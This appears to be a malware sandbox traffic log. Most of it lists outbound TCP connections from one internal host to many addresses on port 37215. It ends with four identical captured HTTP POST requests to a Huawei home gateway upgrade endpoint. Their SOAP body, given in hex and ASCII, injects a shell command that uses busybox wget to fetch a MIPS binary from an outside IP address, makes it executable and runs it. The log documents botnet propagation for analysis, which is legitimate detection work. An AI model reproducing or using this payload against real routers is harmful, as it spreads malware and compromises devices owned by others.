Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.100.62.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.128.98.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.165.73.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.2.27.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.214.170.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.174.240.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.5.73.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.198.115.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.176.101.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.141.109.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.198.2.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.40.210.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.231.245.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.229.219.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.163.62.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.11.148.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.225.84.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.174.86.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.105.111.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.7.180.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.105.105.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.195.215.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.32.42.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.231.213.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.144.112.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.215.137.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.91.174.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.155.56.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.218.248.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.98.227.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.190.198.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.240.99.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.144.251.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.128.136.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.55.88.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.50.90.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.237.148.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.225.68.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.17.5.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.193.139.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.27.71.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.69.151.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.123.186.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.202.40.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.222.122.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.233.180.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.167.26.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.77.18.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.160.218.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.81.106.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.206.233.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.19.140.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.58.23.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.127.125.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.118.111.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.108.0.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.153.113.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.0.9.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.53.157.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.172.110.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.164.245.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.178.49.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.236.134.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.85.177.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.201.175.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.135.92.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.253.49.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.139.18.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.151.246.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.118.189.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.203.2.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.218.100.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.249.130.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.82.232.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.22.110.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.154.137.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.48.130.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.250.164.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.209.97.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.239.155.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.34.128.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.78.144.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.209.0.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.91.175.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.120.188.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.252.100.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.73.31.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.92.57.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.230.188.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.97.143.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.250.119.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.120.46.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.195.147.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.2.243.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.9.136.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.126.243.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.75.201.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.69.218.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.231.58.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.132.215.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.125.0.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.232.26.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.121.164.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.37.226.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.90.134.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.180.154.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.14.29.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.155.163.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.212.255.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.254.134.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.37.0.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.118.4.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.105.233.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.179.106.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.130.204.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.17.158.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.14.114.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.169.23.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.155.176.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.70.223.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.76.33.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.2.239.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.0.246.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.159.134.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.104.163.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.211.174.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.16.94.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.123.151.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.156.198.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.113.97.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.196.69.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.203.219.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.85.20.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.75.134.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.165.179.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.74.234.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.188.18.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.135.24.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.225.72.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.119.194.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.7.86.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.23.38.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.87.166.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.11.24.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.59.27.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.254.136.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.233.168.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.220.17.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.252.96.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.212.59.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.113.76.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.228.42.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.128.52.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.204.4.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.218.113.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.183.76.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.202.243.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.175.30.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.57.178.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.126.108.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.217.97.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.75.103.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.116.96.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.203.135.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.94.82.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.72.52.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.137.34.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.114.142.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.201.222.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.126.2.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.59.45.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.234.48.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.45.117.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.39.208.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.77.1.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.143.93.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.211.244.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.131.201.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.50.208.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.220.223.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.173.131.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.183.2.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.86.242.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.205.177.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.145.55.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.167.173.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.171.242.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.188.16.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.84.179.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.232.104.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 197.35.179.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.220.57.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.105.101.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.210.7.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 156.42.45.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.32.135.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:63353 -> 41.198.228.38:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
